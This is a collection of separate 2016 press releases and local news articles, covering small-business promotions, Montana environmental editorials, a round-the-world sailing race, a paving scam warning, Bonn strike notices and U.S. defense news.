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In a exciting change of pace, a malaysia video production company "myvidproduction", will be celebrating the launch of its new video production service by offering 20 small business owner a 60 sec review commercial. These review commercial typically cost two thousand and five hundred to produce but the company will offer 20 small business a chance to get a video for their business. It's reported the event will take place on 1st June.

In a space where most competitors simply just offered discount. Those discount aren't significantly help to reduce the cost of production to their customer and fail to cause much of a stir, myvidproduction has opted to be a little more exciting with the inception of its new whiteboard video production service.

Wong Weng Yew, Owner at myvidproduction, says: "We are excited with our new video production service launch because we want to do something that's never been done before. It should be really worthwhile and we're hoping it will give me a chance to educate Malaysian business the importance of utilizing a video in their business. As we found that 71% of the consumer reported that they feel more engaged and connected to the company when they see a video on their website."

Myvidproduction has always thrived on the idea of standing out and making a commotion. It's all part of the fun and it's going to definitely will help malaysian small business reached a higher level in video marketing, which is better than businesses who choose to do things the 'regular' way. This launch celebration is just one of the many ways myvidproduction achieves that goal.

When asked about their offer on their celebration launch, Wong Weng Yew said: "We think it's going to be a real hit because a lot of small businesses do not have the budget to produce a video for their business. Hence our offer in this celebration will give any small business in Malaysia a chance to get a video for their business without involving a huge amount of cost.".

Myvidproduction's video production service is set to 'go live' 1st June. To find out more about the service and myvidproduction itself, please visit http://myvidproduction.com/

For more information about us, please visit http://www.myvidproduction.com/

Contact Info:

Name: Wong Weng Yew

Organization: myvidproduction



Release ID: 111783

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ShredQuick Announces 30 Days Of Free Commercial Shredding Services

The 30 days of free service is available as a trial period for new clients who sign up for regularly-scheduled services, reports http://shredquick.com/.

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ShredQuick, a locally-owned Florida-based secure commercial document shredding service, has recently announced their offer of 30 days of free commercial shredding services. The offer is available to any business owner who signs up for a regularly-scheduled service with the company. Those who would like to get more details about the offer or inquire about ShredQuick's full suite of information security services should visit the company's website at http://shredquick.com/.

David Reed, a representative of ShredQuick, stated "Identity theft and unauthorized disclosure of private information are at an all-time high. Identity theft has happened to nearly 9 million businesses in the last year alone and caused more than $20 billion in business losses. We want to help ensure that the business owners in Fort Meyers and the surrounding areas don't have to face this challenge. In order to do that, we are offering 30 days of free paper shredding services to new clients as a way to help them move toward better document security."

In order to take advantage of the free shredding offer, commercial clients should simply contact ShredQuick to sign up for their Ft. Myers shredding services. The company will shred all confidential materials for 30 days. If the client isn't completely satisfied with the service, ShredQuick's technicians will remove their containers and the business owner won't owe anything for the service. For the business owners who choose to stay with ShredQuick, they will not be charged for the first 30 days of shredding.

As Reed goes on to say, "Keeping information secure is not only a legal obligation for businesses, but it helps them avoid costly disasters that could financially cripple their business. Offering 30 days of free shredding is our way of encouraging business owners to take control of their information security and let us protect their documents so that they can focus on doing what they truly love."

About ShredQuick:

ShredQuick is a certified, locally-owned and operated business providing secure paper shredding, hard drive shredding and document scanning. They have earned the highest security rating available - AAA Certified by NAID - so clients can rest assured that their private information will be protected. ShredQuick strives to be the document shredding company clients can count on.

For more information about us, please visit http://shredquick.com/

Contact Info:

Name: David Reed

Organization: ShredQuick

Phone: (239) 332-5900

Source: http://marketersmedia.com/shredquick-announces-30-days-of-free-commercial-shredding-services/111882

Release ID: 111882

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Info Solutions Fuzion Unveils Digital Thermometer Under New Revieta Brand Name

A "family friendly" digital thermometer has been launched by Info Solutions Fuzion under its new Revieta brand name.

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A "family friendly" digital thermometer has been launched by Info Solutions Fuzion under its new Revieta brand name. The flexible thermometer can be used to take oral, rectal and underarm readings producing results with clinically-proven accuracy in just eight seconds. Its special "Feverglow" function has LCD lighting--glowing green for normal temperature and red when there's a fever.

The thermometer beeps when results are given and--for ready comparison--stores the previous measured temperature. It can be washed in the dishwasher for thorough cleansing.

Daniel Vaudrin, brand manager for Revieta health products, said, "The thermometer is suitable for the entire family but we believe new moms will find it especially useful. It's an easy-to-use and affordable product that should be in every home's medicine cabinet. It also makes a great gift for baby showers."

Revieta is a new brand for Montreal-based Info Solutions Fuzion which has been marketing products since 1999. The company helps small and medium sized businesses market online a wide range of products, most notably Mermaid Tails, hair products, and pet supplies. Its goal is to offer clients' products that are innovative and which help make everyday living easier.

The digital thermometer is the first under the Revieta brand name, so-called because "vie" is the French word for "life" which is at the heart of the brand, and the entire name is a play on the word "revitalize," that is "to give more life."

Vaudrin added, "Finding products and tailoring them to fit the needs and wants of our clients is so exciting. Receiving reviews whether they are for praise or in the "room for improvement" category, is great because it gives us the opportunity to know what works and to make even better products available every day."

The digital thermometer is exclusively available on Amazon.com. It has readings in either Fahrenheit or Centigrade and is provided with a convenient storage case. It also comes with a five year guarantee.

For more information please visit: www.revieta.com

For more information about us, please visit http://www.revieta.com

Contact Info:

Name: Daniel Vaudrin

Organization: Info Solutions Fuzion Inc.

Address: 507-1451 Parthenais, Montreal, Quebec, Canada

Phone: 1 866 918 9945

Release ID: 111736

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ELF Preschool Now Accepting Applicants for 2016-2017 School Year

Early Learning Foundations Preschool (ELF), a top early childhood education center in Chicago for over 20 years, has announced it is accepting applications for the upcoming 2016-2017 school year.

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Early Learning Foundations Preschool (ELF), a top early childhood education center in Chicago for over 20 years, has announced it is accepting applications for the upcoming 2016-2017 school year. The organization also says it's time to start planning ahead, as the end of the school year is fast approaching. In preparation, interested prospects can also set up appointments to tour the preschool.

"The school year will soon end and summer will be upon us," says Manira Weathers, director of ELF Preschool. "It's important not to miss out on unique opportunities for one's child; parents should consider seeing our school and what it has to offer, and submit their applications as soon as possible."

Serving children ages 2-6, the school operates for a full day, with full-day, half-day, and after-school programs available. School days run from 7:00 AM to 6:00 PM. The current school year is quickly winding down, so ELF is urging people to start preparing so they can take advantages of the services offered. From playtime to indoor and outdoor activities, to nutritious, hot meals, it is an ideal environment for young children.

The curriculum includes arts, story time, computer skills, and music and drama. Students also engage in dance and creative movement and brush up on their Spanish language skills. Various activities extend beyond the school building. Kids are taken on trips to Lincoln Park Zoo, the beach and park on Lake Michigan, and also to the Chicago Academy of Science. Field trips via school bus are provided as well.

Being that enrollment can be so competitive, and applications are being accepted, parents are being urged to begin their planning. It's never too early to visit the school and take a look around, and submit applications early.

For more information, go to http://www.elfpreschool.com/about. The address of ELF Preschool is 1455 N Clark St., Chicago, IL 60610.

For more information about us, please visit http://www.elfpreschool.com/

Contact Info:

Name: Manira Weathers

Email: info@elfpreschool.com

Organization: Early Learning Foundations Preschool

Phone: (312) 248-9454

Source: http://marketersmedia.com/elf-preschool-now-accepting-applicants-for-2016-2017-school-year/111932

Release ID: 111932

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Recruitment Software Provider JobAdder Partners with Onboarding Guru HROnboard

Onboarding specialist HROnboard and recruitment platform JobAdder have entered into a partnership that is sure to create new efficiencies in the recruitment sector.

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Sydney, Australia 21 April, 2016 - Global recruitment software platform JobAdder and onboarding specialist HROnboard this week confirmed that they have entered into a partnership.

HROnboard is the newest addition to JobAdder's recently launched partner marketplace, promising to bring a unique value add to recruiting professionals. This integration will create a link between recruiting and onboarding candidates into a business. "We are pleased to bring further efficiency to the recruitment sector through this integration with HROnboard, which will guide recruiters from initial job vacancy right through to onboarding a new staff member" JobAdder Sales Director Darren Watts explains. Further information on this partnership can be found here.

HROnboard is cloud-based employee onboarding software that helps organisations manage the job offer and new hire process. The software is built to free HR teams from tedious paperwork and to help them engage new employees before Day One. This is done through a branded new hire portal where new hires can complete all of the documents and provide the necessary information for them to start work. Onboarding tasks can also be assigned to the new hire or to other employees to make sure everything is ready for Day One. Peter Forbes, CEO and founder of HROnboard said, "for those already using JobAdder, you know how great a match it is for HROnboard. We're both focussed on the same thing - turning candidates into employees faster, better and with higher levels of engagement."

JobAdder is a complete, cloud-based RMS. Recruitment professionals, both at employment agencies and in-house, use JobAdder's recruitment software to advertise for roles, track and place candidates. Its other key functionality is as a database, where recruiters can store huge amounts of client and contact information securely that can be accessed at any time, from any mobile device.

After a candidate is successfully placed with JobAdder, the candidate is then sent through to HROnboard where the onboarding process commences. Instead of thinking of these processes as two separate procedures, the integration between JobAdder and HROnboard will allow them to work seamlessly in tandem.

- ENDS -

To find out more about this integration, or about either company, please contact HROnboard at marketing@hronboard.me or JobAdder at simplicity@jobadder.com.

For more information about us, please visit https://jobadder.com

Contact Info:

Name: Stuart Read

Organization: JobAdder

Address: Lvl 3, 19 Pitt Street, Sydney

Phone: +61 2 8005 5711

Release ID: 111707

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Alltech has finalised a deal to buy machinery firm Keenan, after reports surfaced last week of advanced talks between the companies.

The global nutrition business would not reveal how much it paid for the family run Irish business, best known for its green feeder wagons.

Keenan went into receivership on 12 April, which had been running at a loss and was insolvent.

Receivers from accountant KPMG said at the time they were confident of finding a buyer, to keep Keenans more than 200 staff in jobs.

See also: Alltech eyes struggling machinery firm Keenan

In a statement, Alltech did not mention any changes to Keenans structure or the future of those posts. It said Keenan would keep its head office in Borris, County Carlow.

But the buyer did point to possible growth opportunities for the firms working together, such as nutrition technology and feeding programmes passed on health and feed efficiency.

This new journey with Keenan further strengthens our ability to deliver on-farm nutrition solutions Alric Blake, Alltech

Alltech is looking for avenues to better deliver the Alltech brand to farmers and provide nutritional solutions to those who directly benefit from their use, whether in animal or crop production, said Alltech chief executive Alric Blake.

This new journey with Keenan further strengthens our ability to deliver on-farm nutrition solutions.

Alltech, which trades in 120 countries and is based in the US state of Kentucky, was founded by Irish entrepreneur Pearse Lyons in 1980.

The firm has been on a buying spree in recent years, with Alltech the 14th purchase since 2011.

Keenan was started by Richard Keenan in 1978. His son Gerard was executive chairman, at the point of purchase.
Capt. Clark Has Turned Over in His Grave

So said The Billings Gazette front page headline over an Earth Day report on junk and pollution in the Yellowstone River at Billings. On April 22, 1970, reporter Dan Vichorek described what he saw and smelled on a boat tour with two local game wardens:

Weeping walls near the Heights where septic tank effluent oozed down the river bank. Murky discharge from the city sewer plant. Silt streaming into the river from the Montana Power Co. settling pond, and heated water discharged from the coal-fired power plant. Odorous sludge from an industrial drain.

Vichorek noted that the Billings water plant treated effluent from upstream towns to make the river water fit to drink.

Above the water plant the best looking stretches of river bank were covered with concrete slabs. The less scenic areas were piles of junk vehicles intended to be riprap, but ineffective at erosion control. The river bed is littered with occasional car bodies that have broken away from the riprap, he wrote.

Three underwater oil pipeline breaks had occurred in the previous year, making fish taste like oil for miles downstream.

Other stories that week of 1970 told of a $2 million lawsuit filed against the Anaconda Copper Co., alleging that landowners near Kalispell had been damaged by hydrocarbon and fluoride emissions from the companys Columbia Falls aluminum plant. Meanwhile, Anaconda was seeking an easement for an open-pit copper mine near Lincoln. A pesticide control bill was being debated in the Montana Legislature. Back in Billings, control of public land was a heated issue at a hearing in which grazing districts sought control over Bureau of Land Management holdings. Another story told about boat pollution laws evolving.

The first Earth Day was a bipartisan effort that galvanized the environmental movement with demonstrations and teach-ins across the country, including educational events at Eastern Montana College. The movement prompted passage of the Clean Air Act and the Clean Water Act.

Forty-six years later, Billings Heights is on the city sewer system and the municipal wastewater treatment plant returns water to the river cleaner than what the water plant took out. Pipeline safety has been greatly enhanced, but leaks still happen. Efforts have been made to protect the Yellowstone banks without piling wrecked vehicles along the river. Montana and the Environmental Protection Agency still need to clean up after Anaconda and other historic mining operations.

The huge Earth Day concern this year is climate change, driven by global warming. Montana is seeing hotter, drier years in recent decades, while other areas are hotter and wetter. Invasive species are a growing concern. Beetles and diseases have turned huge swaths of Western pine forest brown because it is no longer protected by long stretches of bug-killing, below-zero winter. Montana farmers and ranchers are at the mercy of more frequent and severe drought and wildfires. Damaging hailstorms have become practically an annual event around Billings.

On this Earth Day, Montanans must recognize that climate change will require changes in our lifestyles, such as using less water and avoiding waste of food and energy. The vast majority of the worlds climate scientists see overwhelming evidence that human activity has contributed to global warming by increasing the amount of carbon dioxide in the atmosphere. Its imperative that Montana leaders move forward with policies to achieve energy conservation and pollution reduction. Our state and national leaders must recognize that being good stewards of our environment has tremendous value  in lives and dollars.

Montanas outdoors power a major sector of the state economy. Clean air and water prevent illnesses, and thus decrease health care costs. Efficient, cleaner energy uses Montana resources to best advantage for everyone who lives and breathes.

Economic prosperity and environmental protection are compatible. Ultimately, there will be no prosperity without a healthy planet.
Long Beach Mayor Robert Garcia was among the right people enshrined on the memorial wall on Saturday, Oct. 21.
The collection of sailboats at pier 66 in Seattle appeared to be just resting there while the crowds of Seattle goers milled about in the bright warm sun April 18. There were nine of them, with three more due to arrive over the next couple days.

The sailors sat in the cockpits or tinkered with gear on and around the boats. To the casual observer, it might look like a relaxing day on the yachts for some well-heeled weekend mariners. But the boats had just come in from China, nearly 6,000 nautical miles across an angry ocean, where stout pieces of hardware had broken, and one person had died along the way.

All the boats had set out from London on July 1, 2015 to compete in the ninth Clipper Round the World Race, a brutal competition that lets novice sailors crew aboard 70-foot one design boats, with experienced ocean sailors at the helm. The race is the creation of Sir Robin Knox-Johnson, the first man to complete a solo circumnavigation back in 1968.

So while they all look relaxed, its fair to say they are, considering where theyve been. But the sailors are also spending a good amount of time fixing things, refitting, and gearing up for the next leg.

On the deck of the yacht named Great Britain, while working on the differential gears that power the primary winches, bosun Mike Tatham talks with casual British tones about how he and his crew members were lucky on the passage, because, as he put it, we only lost a stanchion brace.

Its probably important here to explain that the stanchion brace, which is a stainless steel post, bolted to the deck, which supports the cable railing known as the lifelines, broke under the relentless lashing of waves.

Yes. Water broke the stanchion brace. And still other boats had a tougher time. Two of the boats had their entire helm stations ripped away by crashing waves. These helm stations are stout cages, about chest high, designed to protect whoever is taking a shift at the wheel. Theyre made of aluminum tubing about four inches in diameter, and they too are bolted to the deck.

Gone. The waves took them. This is the reality of ocean racing.

"The sea's got fingers," said Tatham. "It can undo knots."

Things get sketchy out there, and relentless waves can only be met with determination and courage.

I was bent over just here, undoing a sail tie when suddenly I was under water up to my legs, explained Tatham, standing on the foredeck, describing the event as though he were telling you about ta walk to the pub. But the 70-foot boat hes on is stout and spartan; all business for heavy weather sailing.

Ive got 40 years at sea and Ive been through hurricanes, says Tatham, "But never aboard a 70-foot piece of plastic like this. theyre just lovely to sail.

The boats, called Clipper 70s, are modeled after the thoroughbred Volvo 70s, but they're built a lot heavier. While a Volvo 70 is 15 tons, the Clippers are 35. Theyre built so strong so that they can handle the conditions, and also because most of their crew are novice.

By design the boats are safe. And its only because the ocean is not.

Like any ocean sailor knows, night passages can be especially fabulous and surreal, and Tatham gives a fine description of one.

Youre in just nothing but black, with just one little red light glowing from the compass, he said.

He tells the story of being at the helm in such conditions when suddenly all the resistance in the wheel goes away, revealing the reality that the boat has hit such a speed that the rudder doesnt necessarily register anymore.

And its pitch black, you know.

So Im watching the knot meter climb from 12 to 15 and then up into the 20s, he said.

Down in the nav station, the boat takes on the feel of a spacecraft. The obviously stout walls frame a small room, facing aft and just under the cockpit, where a console of screens gives a complete picture of weather, sea, and global position. It also lets the navigator track the other boats, which of course is key in such a contest.

But for all the advanced gear, these boats retain many elements that keep them salty. Instead of roller furling headsails, the boats run old school jibs that need to be bent on using shackles and halyards.

Such low-tech appointments also exist in the nav station: An analog barometer, used to read air pressure in order to anticipate wind and storm patterns, is mounted to the wall, and a smiling Londoner with a handlebar mustache called Simon Rosbottom smiles and agrees there can be no improving upon a traditional barometer.

Its the same with a compass, he says. We dont use the GPS compass because it takes so long to update itself. With the magnetic compass its rolling in time with your steering. You cant beat it.

This particular crew, explains Tatham, has foregone plumbing in favor of baby wipes. This is to say theyve ripped out all the plumbing to conserve weight, and clearly because the 24 on board have elected to do so in order to gain an edge.

And anyway, when crashing upwind in waves that can rip railings from decks, what good is a proper shower anyway?

Sleeping is another story. Each bunk is basically large enough for one adult, with a block and tackle system used to cynch the sleeping sailor up against the hull, lest they are tossed out in the generally unfavorable conditions.

Indeed. This is not cruising county.

While the mood at the dock is casual and a bit subdued, there's a reason beyond the rigors of the passage. Each sailor here knows the boat due in tonight, IchorCoal, lost a crew member on the passage. Sara Young, 40, was swept overboard April 1.

Another crew member, Andrew Ashman, 49, died on the same boat in September off the coast of Portugal, when he was knocked in the head while adjusting the mainsheet. Both deaths were the first in the history of the race, and both occurred on the same boat.

So while the sport is filled with adventure and harrowing tales, its also very real out there.

The crews head out again April 28 when they sail south for Panama.

Reporter Neil Zawicki traveled to Seattle April 17 to cover the arrival of a race fleet that is circumnavigating the globe.
For any Montanan who loves rivers, this is an exciting time of the year. As the sun shines stronger and the days get longer, our rivers are starting to swell with snow melt, and thoughts of fishing, paddling and agate hunting consume us.

This spring, theres another reason for Montana river lovers to get excited. For the first time in four decades, we may get a new Wild and Scenic River protected.

Last June, all three members of Montanas congressional delegation threw their support behind legislation to protect East Rosebud Creek as a Wild and Scenic River. Senators Jon Tester and Steve Daines are championing S1577, and Rep. Ryan Zinke is carrying HR2787. The legislation would protect 20 miles of the creek where it flows across public lands managed by the Custer Gallatin National Forest.

The Wild and Scenic Rivers Act is our nations most effective river conservation tool and the only law of its type in the world. It permanently protects rivers by banning new dams, ensuring that water quality is maintained, and protecting a rivers outstanding values (e.g., scenery, wildlife, recreation, etc.) from any federally permitted activities that would degrade them.

Montana roots

The idea for the Wild and Scenic Rivers Act was born right here in Montana in the 1950s, when the legendary wildlife biologist John Craighead was fighting the proposed Spruce Park Dam on the Middle Fork of the Flathead River along the southern border of Glacier National Park. You can tell the act has its roots in Montana: Its flexible, it doesnt affect private property rights, and it doesnt restrict access.

Montana currently has four Wild and Scenic Rivers: the North, Middle and South Forks of the Flathead River and a 150-mile reach of the Upper Missouri River through the Breaks. All four rivers gained protection in 1976 under the leadership of the late Sen. Lee Metcalf and then-freshman Rep. Max Baucus. We havent had a Wild and Scenic River designated since then.

For residents of the East Rosebud Valley, Wild and Scenic designation is vital to keeping their namesake stream just the way it is  clean, free-flowing, and thriving with fish and wildlife. Without it, East Rosebud Creek remains vulnerable to hydropower dams and other threats. Twice in the last few decades, local residents banded with conservationists to fight off proposed dams that would have fundamentally altered the character of the valley. American Rivers helped lead the most recent fight a few years ago.

While Montanas congressional delegation deserves thanks for supporting Wild and Scenic designation for East Rosebud Creek, their job is far from over. The Senate bill had a successful hearing before the Energy and Natural Resources Committee last month, but the House bill hasnt had a hearing yet.

Getting this legislation across the finish line by the end of this year is going to require Tester, Daines and Zinke to make it a top priority. For that to happen, they need to hear from their constituents. That means every angler, paddler and other Montana river lover needs to pick up the phone and encourage our elected leaders to do what it takes to get the East Rosebud legislation passed.

While youre at it, you can show your support for protecting additional Wild and Scenic Rivers across the state by endorsing the made-in-Montana proposal crafted by Montanans for Healthy Rivers at http://healthyriversmt.org/our-proposal/. There are lots of other amazing waterways across the state that deserve to be protected for generations to come.
Local law enforcement officials are warning the public to beware of a traveling contractor scam hitting Corvallis.

The Benton County Sheriffs Office is investigating a handful of recent complaints filed against an out-of-state asphalt paving company recently operating in northern Corvallis. Officials said the company, whose name was not released pending the investigation, holds a valid license through the Oregon Construction Contractors Board. But authorities said the companys tactics are consistent with a common pavement scam seen throughout the country.

The most common scam is the travelers stop at a place with a big gravel driveway and they say they have some material and they can make you a screaming deal, said Stan Jessup, enforcement manager with the Oregon CCB. They might offer a $5,000 job for a few hundred dollars. Once they get a verbal agreement, theyll put down some crushed rock and an oily tar compound. It looks good at first but as soon as you drive over it, it gets crushed. And when theyre finally done they present you with a bill for $10,000.

We chase this scam all over the state every year," Jessup said. "We receive notices from some of the southern states in late winter because the travelers start there and work a circuit up through the country. Usually theyll hit rural properties and senior citizens. They go after small farms because thats where youre more likely to have a larger area to pave.

Detective Christopher Dale of the Benton County Sheriffs Office said typically the scammers will intimidate and push homeowners until they agree to a deal.

Theyre trying to get by with as little as they can to make it look good, Dale said. I think theyre trying to target senior citizens. It started with a fraud report to us by one of the individuals who had work done at their property. They said there were other neighbors in the area and right now were investigating about four of these reports.

Dale said the scam is not often reported in Benton County, but it is similar to one run in the area about four years ago.

Theyre common everywhere, but it depends on where the companies want to focus their efforts. We might go a year or two and see another one crop up, he said. Were making sure that everyone is aware that paving companies dont typically go door-to-door and if they say they have leftovers from another job, thats a red flag.

Jessup advised residents to always get a written contract upfront and not to do business with out-of-state contractors without a thorough background search on the company.

Know who youre dealing with and get a written contract. I dont care if its a job for $500 or $5,000. Get a written contract, he said. And if the trucks have out-of-state plates, dont do it.

Anyone who thinks they might have been victimized by an asphalt paving scam can call the Benton County Sheriffs Office at 541-766-6858 or visit the Oregon CCB website at www.oregon.gov/CCB/.
David vs. Goliath

To the Editor: The St. Pauls debate has been heavily dominated -- in the media and public meetings -- by sermons from save the building advocates. The latter group is...

POAs start primary process open to all residents

As previously announced, the four Property Owners Associations (Western, Estates, Central and Eastern) have made changes to their processes to nominate residents to serve as trustees for the Village Board of Trustees (BOT) and the Board...

Now the time has come

To the Editor: The Governance Committee should be appreciated for their work which generated several meritorious recommendations relating to the Village government. I was present when two members of Governance...

School tax bill fiasco

To the Editor: The county assessments are now in a 5-year phase-in program thanks to our past county executive's changes to the assessment process. Also, the Star program which once...
Welcome to my genealogy blog. Genea-Musings features genealogy research tips and techniques, genealogy news items and commentary, genealogy humor, San Diego genealogy society news, family history research and some family history stories from the keyboard of Randy Seaver (of Chula Vista CA), who thinks that Genealogy Research Is really FUN! Copyright (c) Randall J. Seaver, 2006-2021.
Bonn Tourists visiting the crowded Cherry Blossom displays need to be aware of pickpockets.

A pickpocket used the cover of a crowded Altstadt to get his or her hands in someone elses pocket. At the moment, there are many tourists visiting the Altstadt to see the Cherry Blossoms in their beauty. Unfortunately, a 19-year-old was doing exactly that when she became a victim.

According to police, the 19-year-old was taking photos of the blossoms with a cell phone at around 4:10 p.m. on Wednesday; she was on Maxstrae at the time. When she was finished taking photos, she put the phone back into her outside pocket and turned on her music which was connected to her headphones. Right after that, she noticed the music had stopped, looked in her pocket and noticed her phone was gone. There were no signs of the thief.
Public workers : Warning strikes in Bonn/Cologne - Airports in NRW included

Cologne/Bonn Wednesday will not be a good day to travel or use public services as Verdi has called for union members to strike.

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Bonn public transportation authorities (SWB) announced on Friday that they will strike on Wednesday, April 27. Workers union Verdi had called for public transportation workers to carry out warning strikes during wage negotiations. In Cologne, city buses and trams of the KVB (Cologne public transportation authorities) announced they would not run for the entire day and Bonn trams and buses followed suit. Affected in Bonn are all tram lines: 61, 62, 63, 65, 66, 67, 68. No trams will run on Lines 16 and 18 as well.

Airports in North Rhine Westfalia (NRW) will also join in the strike. Verdi union members who will strike at Cologne/Bonn airport include baggage handlers and other ground workers as well as firemen. Dusseldorf Terminal services and bus shuttles will be affected as will Dortmund airport ground services. For those traveling from Frankfurt, please note they will also be striking at that airport. Its a good idea to check online before you set out anywhere.

Local transportation strikes will take place from 3:00 a.m. Wednesday morning until the start of the regular schedule on Thursday, April 28. Trains between Bonn and Cologne will be running as normal because they are operated by Deutsche Bahn.

When it comes to the bus situation, it is a bit complicated. Sometimes it is not known until the day of the strike as to exactly which lines are affected. Buses operating entirely within Bonn will not run, but buses between Rhine-Sieg (RSVG) and regional traffic of Cologne (RVK) are not affected. There may also be some buses which are operated by subcontractors and they will be allowed to run in Cologne. What is certain is that you can expect many delays and cancellations.
When Congressional budget hawks look to attack, the federally subsidized Essential Air Service is usually a sitting duck.

The program responsible for connecting small rural communities with airports that have commercial fight connections always seems at risk of having its funding plucked. Cheap flights to Billings from Glasgow, Glendive, Havre, Wolf Point and Sidney depend on EAS. The program also connects airports in Butte and West Yellowstone to Salt Lake City.

In 2015, Montana passengers boarded Cape Air, the EAS provider for rural Eastern Montana airports, 43,663 times.

The funding comes from federal general funds and fees collected from commercial airlines, which have subsidized rural flights since being deregulated 30 years ago.

The Senate voted Thursday to put EAS back in the air for another year, giving it $150 million to keep it flying. The political turbulence is likely to come in June when the House takes up the Transportation, Housing and Urban Development bill, which includes EAS.

Essential Air Service connects Montana communities and keeps our economy moving forward, said Sen. Jon Tester, D-Mont. These flights are critical to folks in Eastern Montana as they provide quick access to larger airports.

The amount of funding is about $5 million less than last years amount. Three years ago, Senate Republicans tried to cut EAS, but were in the minority. That wasnt the case this year with Republicans in the majority and lawmakers from rural states represented on the committees responsible for funding EAS.

It doesnt hurt that the makeup of the Commerce Committee included rural members who appreciate Sen. Daines' position, said Marcie Kinzel, a Daines spokesman. Members include: Chairman Thune, Gardner, Sullivan, Moran, and Fischer.

A Republican, Sen. John Thune, is from South Dakota and oversees the authorization side of the THUD bill. Daines also serves on the Senate Committee on Appropriations, which funds EAS. Tester serves on Appropriations.

The per-passenger subsidy in Eastern Montana is roughly $500.

The THUD bill also provided money to improve West Yellowstone Airport, and grant funding for small community airport development.

Pipeline safety funding was also part of the grab bag bill. The bill also included funding for drone research at Montana State University, according to Daines.

And, the bill set aside money to improve safety at Baker Municipal Airport because of military flights from the Powder River Training Complex, a four- state Air Force bomber training area that includes Eastern Montana.
Snowden Takes Norway to Court to Secure Free-Passage

by VOA News April 21, 2016

A Norwegian law firm says it has filed a lawsuit with an Oslo court so American whistleblower Edward Snowden - the leaker of U.S. government documents - can safely travel to Norway for a prestigious award ceremony without fear of extradition to the United States.

Lawyers at the Schjodt law firm in the Norwegian capital said they filed the petition on behalf of the former U.S. intelligence contractor and the Norwegian PEN, which has invited him to receive its Ossietzky Prize for 2016 on November 18.

The lawsuit asserts that the extradition of Snowden would be contrary to Norwegian and international laws, and for that Schjodt is seeking a declaratory judgment from the court.

The U.S. Espionage Act prohibits Snowden or any whistleblower in his position from raising any defense that he acted in the public interest, that the disclosures benefited society, or that the disclosed information had been improperly withheld by the government, Schjodt said.

Norwegian PEN has awarded Snowden the Ossietzky Prize for 2016 for his contribution to defend freedom of expression, the group said in a statement, and will do its utmost to ensure that Snowden may receive the prize in person.

In 2013, the former U.S. National Security Agency contractor leaked to the press details of a secret government eavesdropping program and left the country.

Under the U.S. Espionage Act, Snowden faces charges in the U.S. that could land him in prison for up to 30 years.

PEN is the original acronym for "Poets, Essayists, Novelists" and now it stands for "Poets, Playwrights, Editors, Essayists, Novelists." It includes writers of any form of literature, such as journalists and historians.

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Combined Joint Operations Center Keeps Eyes on ISIL

By Jim Garamone DoD News, Defense Media Activity

BAGHDAD, April 21, 2016  From the outside, the Baghdad Combined Joint Operations Center doesn't look like much. The center is in a large room in a nondescript building at the headquarters of Combined Joint Task Force Operation Inherent Resolve.

But step inside and all that changes.

Flat-screen monitors displaying feeds from Iraqi and U.S. remotely piloted vehicles dominate the room. Iraqi officers sit at desks in more than half the room. Many officers look intently at computer monitors on their desks.

Coalition officers sit at other desks, staring at their computers. None of them are checking Facebook.

Watching an ISIL Meeting

On one screen is the feed from an Iraqi CH-4B remotely piloted aircraft that the nation bought from China. The screen shows two large buildings in an industrial area.

Iraqi officials learned through intelligence sources that Islamic State of Iraq and the Levant fighters are meeting in the building, and officers have watched armed men congregate in one of the buildings all morning.

Another screen shows the feed from an American Predator with a larger view of the area.

Two Explosions

Suddenly, both screens light up with the flash of two explosions. Iraqi officers had called for an attack from an Su-25 aircraft. Iraqi officers talked the aircraft to the point, and the pilot dropped two bombs on the site.

But the Su-25 carries only dumb bombs, and when the screen clears, the buildings are still standing. Two overlapping craters look to be about 25 yards away.

The Iraqi air force has F-16s equipped with precision munitions, but they are not always available, said an American officer who works in the CJOC. With the Su-25s, "the Iraqis miss as often as they hit," the officer said.

Both Iraqi and U.S. remotely piloted aircraft feeds show a number of ISIL terrorists carrying various weapons pouring out of the other side of the building from where the bombs hit. They are running for their lives.

The aircraft follow their movements. "We'll keep following them to see where they go," the officer said.

And it was back to staring at computer screens in the CJOC.

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U.S. Military Delivers 30 Tons of Supplies for Japan Earthquake Relief

By Lisa Ferdinando DoD News, Defense Media Activity

WASHINGTON, April 21, 2016  The U.S. military has delivered more than 30 tons of supplies to help the people of Japan following two powerful, deadly earthquakes there, a Pentagon spokesman said here today.

Since April 18, the U.S. military has supported the government of Japan's relief efforts with eight MV-22 Osprey sorties, four C-130 Hercules sorties and two UC-35 sorties, Navy Capt. Jeff Davis told reporters.

The supplies include food, water, and sanitation and shelter kits, Davis said. Heavy rainfall forced Osprey sorties in the Kumomoto area to be canceled today, although they are expected to resume tomorrow, he added.

U.S. Personnel, Ships, Aircraft Support Effort

There are about 130 Defense Department personnel supporting the overall effort in Kumamoto, Davis noted. U.S. ships from Sasebo Naval Base, C-130's from Yokota Air Base, and Ospreys from bases in Okinawa are participating in the humanitarian operation, he said.

"We are seeing a decrease in the number of requests for U.S. airlift and do expect that U.S. support operations should wrap up in the coming days," Davis added.

A magnitude-6.5 earthquake hit the region of Kumamoto, April 14; and a magnitude-7.3 quake struck the southern island of Kyushu two days later. Buildings have collapsed, and the second quake triggered landslides. There has also been a series of aftershocks.

Marine Corps Air Station Iwakuni, the closest U.S. airfield to the relief effort, is serving as a joint hub.

In a statement, the commander of U.S. Forces Japan, Air Force Lt. Gen. John Dolan, said the U.S. military stands with Japan during this difficult time.

"To the people of Japan and the region affected by this tragedy, we send our heartfelt sympathies," Dolan said.

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HELENA  An appeals court has upheld a former Montana legislator's 7-year prison sentence for his involvement in a corruption scheme on the Rocky Boy Indian Reservation.

Tony Belcourt had sought a lighter sentence and a reduction of the $667,000 in restitution he must pay after pleading guilty in 2014 to taking kickbacks and bribes for awarding contracts using federal aid as head of the Chippewa Cree Construction Company.

A panel of judges from the 9th U.S. Circuit Court of Appeals on Friday rejected Belcourt's request, saying a lower court was correct in finding that Belcourt had power over important financial decisions that affected the tribe and that he was a leader in the scheme.

Belcourt was voted out of his state House seat in 2012. As CEO of the tribe's construction company, he awarded federal contracts for projects on the reservation.

He pleaded guilty to theft, bribery and tax-evasion charges in a widespread federal investigation of misuse of federal aid to Montana's Indian reservations.

Prosecutors said he worked with others who created shell companies to hide the payments.

In one instance, Belcourt awarded a total of $660,000 in federal stimulus aid to a consulting company to ship pipe for a new drinking water pipeline to the reservation. The consulting company overbilled the cost of shipping the pipe, and it sent $163,000 of that money back to Belcourt and his wife, prosecutors said.

The Belcourts used the money to buy a house in Box Elder and to start a company called MT Waterworks, which was later awarded a federal contract for the pipeline project.

